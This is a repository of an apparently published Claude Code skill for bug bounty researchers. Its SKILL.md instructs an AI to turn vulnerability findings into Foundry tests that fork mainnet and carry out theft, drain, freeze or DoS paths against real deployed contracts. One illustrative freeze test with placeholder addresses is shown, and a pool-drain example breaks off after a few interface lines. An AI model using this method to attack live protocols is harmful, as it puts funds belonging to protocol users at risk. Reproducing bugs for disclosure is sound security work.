# foundry-poc-mainnet-fork

Use this skill when the user wants to write a Foundry Proof of Concept (PoC) test that reproduces a smart contract vulnerability against a real deployed protocol on a mainnet fork. Triggers include phrases like "write a PoC", "reproduce this bug with Foundry", "fork mainnet and exploit", "validate this finding on-chain", or when the user provides a vulnerability report alongside deployed contract addresses. This skill is strictly for mainnet-forked, real-contract, end-to-end reproductions on EVM chains. Do NOT use for Hardhat tests, local-state PoCs, fuzz or invariant harnesses against mocks, or non-EVM chains (Solana, Cosmos, Move).

- **Kind:** skill
- **Source:** https://github.com/cholakovvv/foundry-poc-mainnet-fork
- **Page:** https://forefy.com/skills/36137fef-1e5d-43ba-86cd-a4e39011ac78
- **API (JSON + files):** https://forefy.com/api/asr/36137fef-1e5d-43ba-86cd-a4e39011ac78

---

## .gitignore

```

```

## CHANGELOG.md

# Changelog

All notable changes to this skill will be documented in this file.

The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).

## [1.0.0] - 2026-04-23

Initial public release.

### Skill

- Six hard rules governing Foundry-only, real-contract, mainnet-fork, end-to-end execution
- Three-category classification system (frozen historical / forward-looking / both) with mandatory out-loud classification before any code is written
- Reading Order protection to prevent anchoring on stale PoC files
- Proof-shape guidance by impact type (theft, drain, freeze, DoS, access control)
- Rule 5 shortcut-documentation pattern for genuinely infeasible pipeline steps
- Style rules covering banned phrases, em-dashes, filler comments, and assertion message length
- Self-review checklist with 18 items

### Examples

- `Example_FreezeHistorical.t.sol`: category (a) reference, rewarder timelock bug shape
- `Example_RoutingDoS.t.sol`: category (b) reference, adapter logic error producing DoS and fund stranding
- `Example_PoolDrainTheft.t.sol`: category (b) reference, decimals-mismatch share inflation and pool drain

### Validation

- Three production bounty findings across four different codebases and three different bounty platforms
- Three structurally distinct bug shapes covered
- Last two validation runs produced submission-ready PoCs with zero skill revisions

[1.0.0]: https://github.com/your-handle/foundry-poc-mainnet-fork/releases/tag/v1.0.0

## CONTRIBUTING.md

# Contributing

Thanks for the interest in improving this skill. Skills degrade fast when rules are added without evidence, so this project has a higher bar than most open-source repos for changes. Read this before filing an issue or PR.

## What I Want Contributions For

**Finding shapes the skill handles poorly.** If you ran the skill on a real finding and it produced something wrong (anchored on the wrong category, missed the causal chain, used a mock where it shouldn't have, wrote a test that passes but doesn't prove the bug), open an issue. This is the most valuable kind of feedback.

**Bugs in the examples.** If a reference example in `examples/` has a factual error, inconsistent style with the skill's rules, or an outdated pattern, open an issue or PR.

**Documentation gaps.** README unclear, installation instructions broken on your OS, usage examples don't match the skill's actual behavior, open an issue or PR.

**New bug shapes the skill hasn't been validated against.** If you've used the skill on a bug shape not covered by the existing examples (e.g., reentrancy exploitation, governance attack, MEV sandwiching), and it worked cleanly, consider contributing an anonymized reference PoC.

## What I Do Not Want

**Opinions without findings.** "I think the classification rule should be four categories instead of three" without a finding that exposed the gap doesn't move the skill.

**Style preferences.** The style rules (banned words, em-dashes, assertion message length) exist for specific reasons and are stable. Don't propose softening them without evidence that they cause harm.

**Adding support for Hardhat, Truffle, non-EVM chains, or local-state tests.** The skill is deliberately narrow. Wider scope means weaker guarantees. A fork is welcome if you want a different-scoped version.

**Commentary or wishlist-style issues.** Use X or Discord for those. Issues should be actionable.

## Filing An Issue

When the skill produces wrong output, include:

1. **The finding you gave it.** Anonymize protocol names if the finding is under embargo, but keep the structural details (bug category, impact type, causal chain length).
2. **The exact prompt you used.** Including the trigger phrase, whether you named the skill explicitly, what context files were in the conversation.
3. **The skill's output.** The full test file and the classification statement it produced before writing code.
4. **What you expected.** A description of what a correct PoC would have looked like. If you already wrote the correct version yourself, paste it.
5. **Skill version.** Check `SKILL.md` for the current state, or reference the commit hash you have installed.

Issues without these five items will be closed with a request to refile.

## Proposing A Rule Change

Rule changes to `SKILL.md` require:

1. **A concrete failure case.** A finding the skill handled wrong. One example is not enough for a rule change; three independent failures with the same root cause are the threshold.
2. **A proposed rule.** Phrased the way the rest of the skill is phrased. Short, specific, enforceable.
3. **A test plan.** How you verified the proposed rule fixes the failure cases without breaking the existing validation runs.
4. **Re-validation.** If the rule change is accepted, the skill's four validation findings must still produce clean output with the new rule in place. The maintainer or the contributor handles this.

Rule changes that don't follow this process will be closed.

## Proposing A New Example

New reference PoCs in `examples/` require:

1. **A distinct bug shape.** If the new example is structurally similar to an existing one, it's a duplicate and won't be merged. The existing four-shape coverage is a starting point; new shapes like reentrancy, governance, and MEV are welcome.
2. **Full anonymization.** Placeholder addresses in the same style as the existing examples (`address(0xN00M)` pattern). No real protocol addresses, no real bounty-platform report text, no real token names unless the token's properties (decimals, rebase behavior) are themselves the bug.
3. **Validation evidence.** A description of the original finding shape and the skill-produced PoC that matches this example's structure. The example must represent a real validated output, not an idealized template.
4. **A short `examples/README.md` entry.** Describing what category the example is, what bug shape it demonstrates, and what the proof shape is.

## Pull Request Process

1. Fork the repo.
2. Create a branch named after the issue you're addressing (e.g., `fix/classification-anchors-on-freeze` or `add-example/reentrancy`).
3. Make the change. Keep PRs focused; one rule change per PR, one example per PR.
4. Update `CHANGELOG.md` under an `[Unreleased]` heading with your change described in the same style as the existing entries.
5. Open the PR with a description that links to the issue it addresses.

PRs that bundle multiple unrelated changes will be asked to split. PRs that don't update the changelog will be asked to add the entry.

## Code Of Conduct

Be direct, specific, and actionable. Disagreement is fine; grandstanding is not. I close issues that turn into forum threads.

## Questions

Open a discussion on GitHub if you have a question that isn't an issue. X and DM are fine for quick clarifications but don't expect those to be tracked.

## Credits

Contributors who land merged PRs will be listed in the README credits section.

## LICENSE.md

MIT License

Copyright (c) 2026 Simeon Cholakov

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

## README.md

# foundry-poc-mainnet-fork

A [Claude Code](https://docs.claude.com/en/docs/claude-code/overview) skill that turns a smart contract vulnerability finding into a submission-ready Foundry PoC that forks mainnet and exercises real deployed contracts end-to-end.

Built and validated by [@cholakovvv](https://x.com/cholakovvv) across four production bounty findings spanning freeze, routing DoS, and pool-drain theft shapes.

## What It Does

Given a vulnerability description and the deployed addresses of the affected protocol, the skill produces a single Foundry test file that:

- Forks mainnet (or any EVM chain) at a block where the bug is reachable
- Binds every protocol contract as a `constant` real address
- Executes the full causal chain from the action that first triggers the vulnerable state to the final realized impact
- Ends with assertions that encode the vulnerability's end-state (balance deltas for theft, reverts for DoS, quantified stranding for freeze)
- Passes `forge test -vvvv` on the first try, or flags a blocker with a concrete reason

No mocks. No minimal reimplementations. No `vm.store` shortcuts around protocol pipelines unless explicitly documented.

## Who This Is For

Smart contract security researchers working on bug bounty platforms or audits who want to produce a clean mainnet-fork PoC without spending 2 hours on boilerplate and address-hunting. The skill takes care of:

- Classification of the finding (frozen historical vs forward-looking risk vs both)
- Identifying the first-triggering action in the causal chain
- Finding real deployed addresses when the user provides partial info
- Writing interfaces that match deployed bytecode
- End-to-end test structure with labeled balance deltas

## Requirements

- Claude Code with a Claude Sonnet 4.5 or Claude Opus 4.5+ subscription (or API access)
- Foundry installed (`forge`, `cast`)
- An EVM RPC URL (free Alchemy, Infura, drpc.org, mevblocker.io all work)

## Installation

```bash
cd ~/.claude/skills
git clone https://github.com/cholakovvv/foundry-poc-mainnet-fork.git
```

Restart Claude Code or start a new conversation. Verify the skill loaded:

```
/skills
```

You should see `foundry-poc-mainnet-fork` in the list.

## Usage

In a Claude Code conversation with your audit/bounty repo as context, provide:

1. The full vulnerability description (root cause, attack path, expected impact)
2. The chain (ethereum, arbitrum, base, etc.)
3. A fork target (`latest` or a specific block number)
4. Real deployed addresses for every contract in the attack path, labeled by role

Example prompt:

```
Using the foundry-poc-mainnet-fork skill, write a PoC for this finding:

[paste finding]

Chain: ethereum
Fork: block 24900000
Addresses:
- Target protocol: 0x...
- Affected pool: 0x...
- Admin: 0x...
```

The skill will:

1. State the finding's classification out loud: "(a) frozen historical / (b) forward-looking / (a+b) both, because [signal]"
2. Name the starting actor, fork block, and causal chain
3. Write the test file and a `forge test` command
4. Provide a 2-3 sentence explanation of what the passing assertions prove

If inputs are missing or the skill cannot verify a required address is deployed on the target chain, it stops and tells you what's needed.

## About The Examples

The `examples/` folder contains three reference PoCs that Claude reads when generating your output. Each demonstrates a distinct bug shape the skill was validated against:

| File                             | Shape                                                                                    | Proof                                                                |
| -------------------------------- | ---------------------------------------------------------------------------------------- | -------------------------------------------------------------------- |
| `Example_FreezeHistorical.t.sol` | Category (a): state reached by block progression alone                                   | Recovery attempt reverts; quantified stranding                       |
| `Example_RoutingDoS.t.sol`       | Category (b): adapter logic error produces DoS or fund stranding on every affected route | `vm.expectRevert` on DoS test; balance delta on stranding test       |
| `Example_PoolDrainTheft.t.sol`   | Category (b): decimals mismatch enables share inflation and drain                        | `assertGt(attackerAfter, attackerBefore)` + pool-near-zero assertion |

The addresses in these examples are placeholders and the files don't run. They exist so Claude can pattern-match your finding's shape to the closest example and produce output in the same style. You never need to modify or adapt them.

## What It Won't Do

- **Solana, Cosmos, Aptos, or any non-EVM chain.** Use a different tool.
- **Hardhat tests.** Foundry only.
- **Local-state unit tests.** The entire value of this skill is mainnet forking.
- **Fuzz or invariant harnesses.** These are a different genre.
- **Guess addresses.** If the skill can't verify a contract is deployed at the address you provided, it flags a blocker instead of guessing.
- **Bypass protocol pipelines.** If a protocol's logic requires an oracle callback or a real swap execution, the skill will not `vm.store` the post-state. It either routes through real contracts or documents the limitation.

## Known Limitations

- **Public RPC archive state.** Pinned block numbers require an RPC that retains historical state. Public RPCs vary. The skill tries drpc.org, mevblocker.io, and eth-pokt.nodies.app when publicnode or similar fail.
- **Hostile findings.** If the finding text is ambiguous or contradicts the addresses provided, the skill asks for clarification rather than guessing.
- **One shape per test file.** Multi-finding PoCs are out of scope. Each test file reproduces one finding.

## Validation

Validated on four shape-diverse production bounty findings:

- Freeze historical: rewarder timelock bug (Low severity, Remedy-closed)
- Routing DoS / fund stranding: adapter balance-of-wrong-token bug (Medium, Cantina)
- Pool drain / theft: decimals-mismatch share inflation (Critical, Remedy duplicate)
- Freeze forward-looking: orphaned reward pattern with timelock reset (High, Remedy-closed)

Each produced a submission-ready PoC with zero skill revisions on the third and fourth runs.

## Contributing

See [CONTRIBUTING.md](CONTRIBUTING.md).

Briefly: rule changes require three independent failure cases, new examples require a distinct bug shape with validation evidence. Opinions without findings don't move the skill.

## License

MIT. See [LICENSE](LICENSE).

## Credits

Built by [Simeon Cholakov](https://github.com/cholakovvv/), blockchain security researcher.

If this skill saves you time on a bounty, consider:

- Starring the repo
- Tagging me on X when you submit a PoC you built with it

## SKILL.md

---
name: foundry-poc-mainnet-fork
description: Use this skill when the user wants to write a Foundry Proof of Concept (PoC) test that reproduces a smart contract vulnerability against a real deployed protocol on a mainnet fork. Triggers include phrases like "write a PoC", "reproduce this bug with Foundry", "fork mainnet and exploit", "validate this finding on-chain", or when the user provides a vulnerability report alongside deployed contract addresses. This skill is strictly for mainnet-forked, real-contract, end-to-end reproductions on EVM chains. Do NOT use for Hardhat tests, local-state PoCs, fuzz or invariant harnesses against mocks, or non-EVM chains (Solana, Cosmos, Move).
---

# Foundry PoC on Mainnet Fork

## Purpose

Produce one Foundry test file that reproduces a real smart contract vulnerability against real deployed contracts on a forked EVM network. The test must pass, and its passing must prove the vulnerability end-to-end: from the action that first triggers the vulnerable state, through every on-chain step in between, to the final realized impact.

## Reading Order (Mandatory)

Before reading anything else in the repository, read the finding description to completion. Only after the finding is fully read should other files be consulted. In particular:

- Do not read any file in the target PoC directory (typically `test/poc/`) until the finding is classified and the causal chain is written out (see Procedure).
- If a file with the planned output name already exists in the repo, treat it as untrusted until the skill's own classification is complete. Stale or prior-session PoC files may encode causal-chain choices that violate the skill's rules. Do not anchor on them.
- Reference tests for style matching (imports, inheritance, helpers) are read in step 6 of the procedure, not before. Even then, imitate their surface style only. Never imitate their fork-block choice, starting actor, or causal-chain structure without independently verifying those match the current finding's classification.

The order in which files are read shapes Claude's reasoning. Reading an existing PoC before classifying the finding anchors output to that PoC's structure and overrides the skill's rules in practice. Reading the finding first is not optional.

## Required Inputs

Before writing any code, confirm the user has provided:

1. Vulnerability description: root cause, attack path, impact. If the description is short or summary-level, ask for the full finding.
2. Chain: ethereum, arbitrum, base, optimism, polygon, bnb, avalanche, or chain ID.
3. Fork target: `latest`, a specific block number, or a timestamp (if timestamp, ask the user to convert it to a block number, do not guess).
4. Real deployed addresses for every contract in the attack path, labeled by role.

Optional but improves output quality:

5. RPC URL (otherwise use a public default and state which one was used). For pinned block numbers, the RPC must have historical state for that block. Public RPCs like publicnode often lack archive data; drpc.org, mevblocker.io, and eth-pokt.nodies.app retain broader history. If a chosen RPC returns "historical state not available", try a different public endpoint before asking the user for an archive-enabled RPC.
6. Path to the repo's existing test files for style matching.
7. Severity (proceed for High, Medium, Critical; for Low or Info, warn the user that a PoC may not be warranted and confirm before proceeding).

If any of 1, 2, 3, or 4 is missing, stop and ask. Do not guess addresses. Do not assume "mainnet" means Ethereum if the protocol could be on another chain. Do not fabricate a fork block.

## Hard Rules

### Rule 1: Foundry Only

Foundry is the only acceptable framework. If the target repo uses Hardhat, Truffle, or anything else, the PoC is still written in Foundry as a standalone file.

### Rule 2: Real Contracts Only

Every contract the test interacts with must be a real deployed address, bound at the top of the file as a `constant`. Specifically:

- No mock contracts.
- No minimal reimplementations of protocol contracts.
- No stubbed interfaces that diverge from the deployed bytecode.
- Interfaces written in the test file must contain only the function signatures actually called, and those signatures must match the deployed contract exactly.

If a contract required by the attack path is not deployed on the target chain, stop. Do not fabricate a workaround. State the blocker to the user.

Addresses for test-only actors (attacker EOA, recipient) created via `makeAddr` are acceptable and expected. Addresses for protocol contracts, tokens, oracles, governance, and admins must be real.

### Rule 3: Fork Is Mandatory

The first statement inside `setUp()` must be `vm.createSelectFork(...)`. The fork uses the RPC for the correct chain and either the user-specified block or `latest`. State is read from the fork, not constructed locally.

### Rule 4: End-to-End Execution

The test must execute the full vulnerability path from the action that first triggers the vulnerable state to the final realized impact. This is as important as forking mainnet.

**Classify before writing.** Every finding falls into one of three categories, and the category determines where the test starts:

- (a) **Frozen historical impact**: a one-time bad state that already exists on-chain, reached by a past action that cannot be re-executed (block-number progression, a past governance vote, an already-completed migration). Severity comes entirely from the existing frozen state, with no further damage accruing. Forking at the post-vulnerable state is the correct starting point.
- (b) **Forward-looking risk**: the vulnerable state is a pattern that will continue producing new instances as normal protocol operations run. Severity comes from what happens to actors not yet affected. The PoC must reproduce the chain that produces a _new_ instance of the vulnerable state, starting from an actor currently in the safe state. Replaying a past instance is insufficient.
- (a+b) **Both**: some value is already affected and more will be as normal operations continue. The primary test reproduces the forward-looking chain (b). A secondary assertion can reference existing impacted value (a) as additional evidence, but the bulk of the PoC is the (b) chain.

Before writing any code, state the classification out loud in the response to the user: "This finding is category (a)/(b)/(a+b) because [signal]. I will start the test from [actor X] at [fork block Y] where X is still in the safe state and perform [step 1, step 2, ...]."

This statement is mandatory. A PoC that is written without stating the classification first is a rule violation, even if the resulting code is otherwise correct.

**Signals for (b):** phrases like "currently at risk", "will freeze", "any X that does Y", "N actors vulnerable", tables of live protocol entities with counts of affected vs unaffected, references to patterns that repeat on protocol schedule, language about "future" or "new" actors. When any of these appear, default to (b) or (a+b) unless the finding explicitly says the pattern has been patched.

**Identify the first-triggering action.** The first action is not always an attacker call. It may be:

- A malicious actor's on-chain call.
- A normal user action (deposit, withdraw, redeem, rebalance) that happens to put the protocol in a vulnerable state.
- A protocol operation (keeper bot, liquidation, debt reporting, oracle update) that runs on a schedule.
- A governance action or privileged role call.

**Execute every step in order.** If the causal chain is A → B → C → impact, the test must perform A, then B, then C, then show impact. Each step goes through the real contract that performs it on-chain, with the caller that performs it on-chain. No step is skipped because it "would obviously work".

**Off-chain signed messages are legitimate test setup.** Many protocols gate functions behind signatures from privileged signers (KYC verifiers, admins, oracle operators) or user-signed requests (EIP-712 withdrawals, meta-transactions). Using `vm.sign` with a test private key to produce these signatures is allowed and expected. The key condition: the test holder of that private key must have been granted the corresponding on-chain role through a real privileged call earlier in the test (e.g., the protocol admin granting the role via the real on-chain permission-update function), not by pranking the role.

**End at realized impact.** If the bug is about stealing funds, the test must show the funds arriving in the attacker's address. If it is about bricking a contract, the test must show the next legitimate call reverting. If it is about permission escalation, the test must show the escalated permission being exercised to do something previously not possible. If it is about freezing funds, the test must show that after the full causal chain runs, no extraction path works, ideally by attempting recovery at the point it should have been possible and showing it is not.

**Proof shape by impact type:**

- **Theft**: attacker ends with tokens they did not legitimately acquire. Proof is `assertGt(attackerBalAfter, attackerBalBefore)` where `attackerBalBefore` is recorded before the exploit path, or `assertGt(stolen, depositedOrPrincipal)` when the attacker deposited something first. Intermediate assertions on share balances or ownership percentages are helpful but not sufficient; the final assertion encodes the realized token transfer.
- **Pool drain**: combine the attacker-gain assertion above with a pool-state assertion showing the pool's balance of the stolen token dropped to near-zero. `assertLe(poolBalAfter, poolBalBefore / 50)` or similar.
- **Freeze**: attempt the action that should succeed at the point where it is supposed to, and prove it reverts or returns a wrong value. Pair with a log or assertion quantifying the frozen value.
- **DoS**: the next legitimate call reverts or returns zero when it should succeed. Prove by attempting the call and showing the revert.
- **Access control / privilege escalation**: the unauthorized caller executes a previously-gated action. Proof is the state change or emitted event produced by the successful call, not a balance delta.

No `vm.expectRevert` in the core proof of a theft-shape or drain-shape finding. The successful execution is the bug.

**Balance deltas and final-state assertions.** Intermediate assertions during the chain are fine and often helpful, but the final assertions must encode the realized end-state, not a midpoint.

### Rule 5: No Shortcutting Protocol Pipelines

When the vulnerability involves funds moving through a protocol pipeline (liquidation, yield distribution, rebalancing, swap routing, oracle updates, cross-module calls), the test must route funds through the real pipeline, not inject them at the last step.

**Allowed:**

- `vm.deal(attacker, 1 ether)` to fund an attacker EOA with gas.
- `deal(token, attacker, 100e18)` to give an attacker a starting capital in a token they could legitimately acquire on mainnet via a swap.
- `vm.prank(user)` to act as a real holder of tokens or shares for a single legitimate action that user could perform.

**Not allowed:**

- `deal(token, protocolContract, amount)` followed by a prank that calls an internal or whitelisted-only function on behalf of that protocol contract. This bypasses the pipeline that would normally produce those tokens in that contract.
- Pranking a privileged role (keeper, liquidator, admin) to call a function when the bug is about what happens downstream of that function, unless the role itself is not the subject of the finding and reproducing the upstream path is genuinely infeasible. In that case, document the limitation explicitly in a comment above the prank.
- Using `vm.store` to place the protocol in a mid-chain state.

**When the real pipeline is too heavy to reproduce** (requires live swap routes, oracle updates, cross-chain messages, time-locked votes), state the limitation explicitly in a single comment above the shortcut, naming what is being simulated and why reproducing it fully is infeasible. The goal is transparency about the gap, not a justification for skipping E2E work that could reasonably be done.

### Rule 6: Pragma And Imports Match The Target

The pragma matches the target contract's compiler version. Imports use the paths present in the target repo if test patterns were provided, otherwise standard Foundry and OpenZeppelin paths.

## Style Rules

- No em-dashes. No "—". No " – ". Use commas or periods.
- Avoid: "crucial", "essentially", "delve", "seamless", "robust", "leverage" (as a verb), "it's important to note", "in summary", "in conclusion", "navigate" (as a metaphor).
- No filler section comments: `// setup`, `// exploit`, `// assert`, `// attack begins here`.
- No summary comment above the test function describing what it does. The test name describes it.
- Inline comments only when they reference something the code cannot express on its own: a specific storage slot, a block-specific condition, a known deployment quirk, a non-obvious reason a call is ordered a specific way, or a documented limitation of what is being simulated vs executed.

## Logging Rules

- `console2.log` is used only to print values that quantify impact or demonstrate state change. Every log has at least two arguments: a label and a value.
- Banned: status strings like `"Exploit successful"`, `"Vulnerability confirmed"`, `"Attack starting"`, `"Step 1 complete"`, and any equivalent.
- No log that duplicates what an assertion already proves on the same line.
- If the bug has no numerical impact to print (pure logic bug with a revert as the proof), zero logs is the correct number.
- No redundant logs that prove the same thing twice with different framings.

## Assertion Rules

- Every assertion encodes the vulnerability invariant. An assertion that restates a `vm.prank` or confirms the fork block number is noise.
- Prove theft or loss with before/after balance deltas, not absolute balances.
- Prove impact with the final end-state, not an intermediate one.
- Use typed selectors for expected reverts: `vm.expectRevert(Contract.ErrorName.selector)` or `vm.expectRevert(abi.encodeWithSignature("ErrorName()"))`. Use string matching only if the target contract reverts with strings.
- **Assertion messages are CI failure labels, not explanations.** Good: `"timer not reset"`, `"totalSupply nonzero"`, `"no frozen balance"`. Bad: `"timer must advance past first reset"`, `"unlock window must be pushed out"`. If a message reads as a full sentence or contains "must", it is too long. Aim for two to five words that name what failed. Prefer omission over prose.
- **One demonstration per invariant.** If two iterations prove the same pattern, two is enough. A third is redundant. Each repeated iteration must prove a distinct invariant.
- **setUp sanity checks are permitted** for verifying the fork returned the expected mainnet state (token decimals, whitelisting status, pool's value token). Use `assertEq`/`assertFalse` with short labels. These are not proofs of the vulnerability; they protect against fork drift.

## File Template

```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity <version matching target>;

import { Test, console2 } from "forge-std/Test.sol";
import { IERC20 } from "openzeppelin-contracts/token/ERC20/IERC20.sol";
// additional imports from the target repo if patterns were provided

interface I<Target> {
    // only functions the PoC calls, signatures matching deployed bytecode
}

contract POC_<FindingID> is Test {
    // Protocol addresses, grouped and labeled by role
    address constant <ROLE_NAME> = 0x...;

    I<Target> target;
    address attacker;

    function setUp() public {
        vm.createSelectFork(vm.envString("<CHAIN>_RPC_URL"), <BLOCK_OR_LATEST>);

        target = I<Target>(<ADDRESS_CONSTANT>);
        attacker = makeAddr("attacker");

        // Minimal state prep the actor could legitimately reach
    }

    function test_<ShortVulnName>() public {
        // Step A: first-triggering action
        // Step B: intermediate real contract calls
        // Step C: final action that realizes impact
        // Assertions encoding the realized end-state
    }
}
```

The numbered comments above are placeholders showing the four E2E phases, not a pattern to copy into output. Real output has no filler comments.

## Procedure

1. Read the finding description in full. Do not open any other file until this is done.
2. Confirm required inputs (see Required Inputs). If anything is missing or ambiguous, ask before writing.
3. **Classify the finding and state the classification out loud** to the user: "(a)/(b)/(a+b) because [signal]. Starting actor: [X]. Fork block: [Y]. Causal chain: [step 1 → step 2 → ... → impact]." This statement must appear before any file-reading or code-writing. Do not skip it.
4. Check whether the proposed fork block places the chosen actor in a pre-vulnerable or post-vulnerable state. For (a), post-vulnerable is correct. For (b) and (a+b), the chosen actor must still be in the safe state at fork time.
5. Confirm every protocol address needed for the chain has been provided. If the finding mentions "N vulnerable actors" or "N single-X vaults" and the addresses of those specific actors are not provided, ask the user which one to start from and get the address.
6. Now, and only now, read reference test files in the repo for style matching (imports, inheritance, helper usage, naming). If a file with the planned output name already exists, either rename or skip it. Do not use it as a template for causal-chain structure.
7. Determine the pragma from the target contract.
8. Bind every protocol address as a named `constant`.
9. Write the minimal interface(s) needed. Signatures must match the deployed ABI.
10. Write `setUp`: fork call first, contract bindings, then only the state prep an actor could legitimately perform and that is outside the causal chain being tested.
11. Write the test function: every step from the chain in step 3, in order, through real contracts, with the real caller for each step. End with assertions that encode the realized end-state.
12. Produce the exact `forge test` command with `-vvvv` for full trace visibility.
13. Run through the Self-Review Checklist before returning output.

## Self-Review Checklist

- [ ] Finding was read in full before any other file in the repo.
- [ ] Classification ((a)/(b)/(a+b)) was stated out loud to the user before coding.
- [ ] For (b) or (a+b) findings, the test starts from an actor currently in the safe state, not from an already-impacted actor.
- [ ] No existing PoC file in the repo was used as a structural template. Reference files were only used for surface style (imports, inheritance, helpers).
- [ ] `vm.createSelectFork` is the first statement in `setUp()`.
- [ ] Every protocol contract is bound as a named `constant` real address.
- [ ] No mock, stub, or minimal reimplementation is declared.
- [ ] Every step in the causal chain is executed through the real contract that performs it on-chain, with the caller that performs it on-chain.
- [ ] No `deal`/prank combination bypasses a pipeline the finding says funds should flow through.
- [ ] Any shortcut around a genuinely infeasible step is documented in a single comment naming what is simulated.
- [ ] The test ends at the realized impact, not a theoretical midpoint.
- [ ] Final assertions encode the end-state of the vulnerability.
- [ ] No banned words, no em-dashes, no filler comments, no status-string logs.
- [ ] Every `console2.log` prints a labeled value and does not duplicate another log or assertion.
- [ ] Assertion messages are two to five words, label-style, no "must", no prose. Omitted where nothing useful can be said briefly.
- [ ] No invariant is proven twice in the same test.
- [ ] Pragma matches the target contract.
- [ ] The test name describes the vulnerability, not the test action.
- [ ] Run command uses `-vvvv` for full traces.

## Output

Return three things, in this order:

1. The complete test file.
2. The exact `forge test` command, including required environment variables and `-vvvv`.
3. Two or three sentences explaining what the passing assertions prove about the vulnerability and the end-to-end impact.

No JSON wrapper, no preamble, no "here is your PoC". Just the file, the command, the explanation. The classification statement from Procedure step 3 appears separately, before the PoC content, not in the PoC itself.

## Reference Examples

The `examples/` folder contains shape-diverse PoCs. Each demonstrates a distinct bug structure:

- `Example_FreezeHistorical.t.sol` — category (a), vulnerable state reached by block progression alone, no causal chain to reproduce
- `Example_RoutingDoS.t.sol` — category (b), adapter logic error causes either DoS revert or fund stranding on every affected swap; proof is a revert plus a separate success-with-stranding test
- `Example_PoolDrainTheft.t.sol` — category (b), decimals mismatch lets attacker mint inflated shares from a trivial deposit; proof is before/after balance delta showing attacker received >98% of pool's principal

When writing a new PoC, match the example closest to the finding's shape for surface-level patterns (interface style, helper functions, assertion shape), but always classify independently and execute the skill's procedure from step 1.

## examples

```

```

## examples/ Example_Freeze_historical.t.sol

```solidity
```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.17;

// ILLUSTRATIVE EXAMPLE

import { Test, console2 } from "forge-std/Test.sol";
import { IERC20 } from "openzeppelin-contracts/token/ERC20/IERC20.sol";

interface IExampleRewarder {
    function lastUpdateBlock() external view returns (uint256);
    function periodInBlockFinish() external view returns (uint256);
    function rewardToken() external view returns (address);
    function MINIMUM_RECOVER_DURATION() external view returns (uint256);
    function recover(address token, address to) external;
}

interface IExampleAccessController {
    function grantRole(bytes32 role, address account) external;
}

contract Example_FreezeHistorical is Test {
    address constant ACCESS_CONTROLLER = address(0x1001);
    address constant ACCESS_CONTROLLER_OWNER = address(0x1002);
    address constant REWARD_TOKEN = address(0x1003);
    address constant PROTOCOL_REWARDER = address(0x1004);

    bytes32 constant TOKEN_RECOVERY_MANAGER_ROLE = keccak256("TOKEN_RECOVERY_MANAGER");

    uint256 constant BLOCK_WITH_FROZEN_REWARDER = 0;

    IExampleRewarder rewarder;
    address recoveryManager;

    function setUp() public {
        vm.createSelectFork(vm.envString("MAINNET_RPC_URL"), BLOCK_WITH_FROZEN_REWARDER);

        rewarder = IExampleRewarder(PROTOCOL_REWARDER);
        recoveryManager = makeAddr("recoveryManager");

        vm.prank(ACCESS_CONTROLLER_OWNER);
        IExampleAccessController(ACCESS_CONTROLLER).grantRole(
            TOKEN_RECOVERY_MANAGER_ROLE,
            recoveryManager
        );
    }

    function test_FreezeHistorical_BlocksVsSecondsUnitMismatch() public {
        uint256 minRecoverDuration = rewarder.MINIMUM_RECOVER_DURATION();
        uint256 lastUpdate = rewarder.lastUpdateBlock();
        uint256 periodFinish = rewarder.periodInBlockFinish();
        uint256 currentBlock = block.number;
        uint256 rewardBalance = IERC20(REWARD_TOKEN).balanceOf(PROTOCOL_REWARDER);

        assertGt(currentBlock, periodFinish);
        assertEq(lastUpdate, periodFinish);
        assertEq(minRecoverDuration, 31_536_000);

        uint256 unlockBlock = lastUpdate + minRecoverDuration;
        uint256 blocksUntilUnlock = unlockBlock - currentBlock;
        uint256 effectiveLockYears = (blocksUntilUnlock * 12) / 365 days;

        console2.log("Rewarder:", PROTOCOL_REWARDER);
        console2.log("Reward token stranded in rewarder:", rewardBalance);
        console2.log("Reward period ended at block:", periodFinish);
        console2.log("lastUpdateBlock (frozen):", lastUpdate);
        console2.log("Recovery unlock at block:", unlockBlock);
        console2.log("Blocks until unlock:", blocksUntilUnlock);
        console2.log("Effective lock in years:", effectiveLockYears);

        assertTrue(effectiveLockYears >= 10);

        vm.prank(recoveryManager);
        vm.expectRevert(abi.encodeWithSignature("RecoverDurationPending()"));
        rewarder.recover(REWARD_TOKEN, recoveryManager);

        uint256 oneYearInBlocks = 365 days / 12;
        vm.roll(currentBlock + oneYearInBlocks);

        vm.prank(recoveryManager);
        vm.expectRevert(abi.encodeWithSignature("RecoverDurationPending()"));
        rewarder.recover(REWARD_TOKEN, recoveryManager);

        vm.roll(unlockBlock + 1);

        uint256 balBefore = IERC20(REWARD_TOKEN).balanceOf(recoveryManager);
        vm.prank(recoveryManager);
        rewarder.recover(REWARD_TOKEN, recoveryManager);
        uint256 recovered = IERC20(REWARD_TOKEN).balanceOf(recoveryManager) - balBefore;

        assertEq(recovered, rewardBalance);
        console2.log("Recovered after 12 years:", recovered);
    }
}
```
```

## examples/Example_PoolDrainTheft.t.sol

```solidity
```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.24;

// ILLUSTRATIVE EXAMPLE

import {Test, console2} from "forge-std/Test.sol";

interface IERC20Min {
    function balanceOf(address) external view returns (uint256);
    function approve(address, uint256) external returns (bool);
